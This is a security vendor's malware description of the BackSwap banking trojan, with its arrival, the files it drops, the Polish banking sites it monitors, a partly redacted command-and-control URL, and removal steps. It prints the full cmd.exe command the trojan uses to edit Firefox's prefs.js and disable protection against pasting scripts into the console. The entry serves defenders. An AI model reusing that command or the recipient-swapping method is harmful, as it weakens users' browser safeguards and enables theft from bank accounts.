Trojan.Win32.BACKSWAP.A

 Analysis by: Paul Steven Nadera

 ALIASES:

Trojan-Banker.Win32.ClipBanker.h (Kaspersky); a variant of Win32/BackSwap.A trojan (NOD32);

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It monitors user transactions on certain sites.

It connects to certain websites to send and receive information.

  TECHNICAL DETAILS

File Size:

1,053,696 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

28 May 2018

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Temp%\fegrt -> contains the path of Mozilla's prefs.js

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • "C:\Windows\System32\cmd.exe" /V:ON /C dir /S/B/A-D "%APPDATA%\Mozilla\prefs.js" > "%TEMP%\fegrt" && SETLOCAL EnableDelayedExpansion && set /p v=<"%TEMP%\fegrt" && echo ^user_pref("devtools.selfxss.count", 100); >> "!v!"; -> disable Mozilla's protection against pasting scripts in the console

Other System Modifications

This Trojan modifies the following file(s):

  • %ApplicationData%\Mozilla\Firefox\Profiles\{Profile Name}\prefs.js

Information Theft

This Trojan monitors user transactions done on the following websites:

  • https://*ipko.pl*transactions/transfers*
  • https://*mbank.pl*transfer*
  • https://*ingbank.pl*mojeing*transactions

Other Details

This Trojan connects to the following website to send and receive information:

  • http://counter.{BLOCKED}o.ru/hit?rhttp://{BLOCKED}y.com/;uhttp://{BLOCKED}y.com/;h{Window Name + parameter}

It does the following:

  • After determining that the user is doing a transaction with the targeted bank, it injects malicious javascript that secretly replaces the account name and account number of the recipient to that of the attacker/s.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

14.282.04

FIRST VSAPI PATTERN DATE:

29 May 2018

VSAPI OPR PATTERN File:

14.283.00

VSAPI OPR PATTERN Date:

30 May 2018

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as Trojan.Win32.BACKSWAP.A

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %TEMP%\fegrt

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.BACKSWAP.A. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.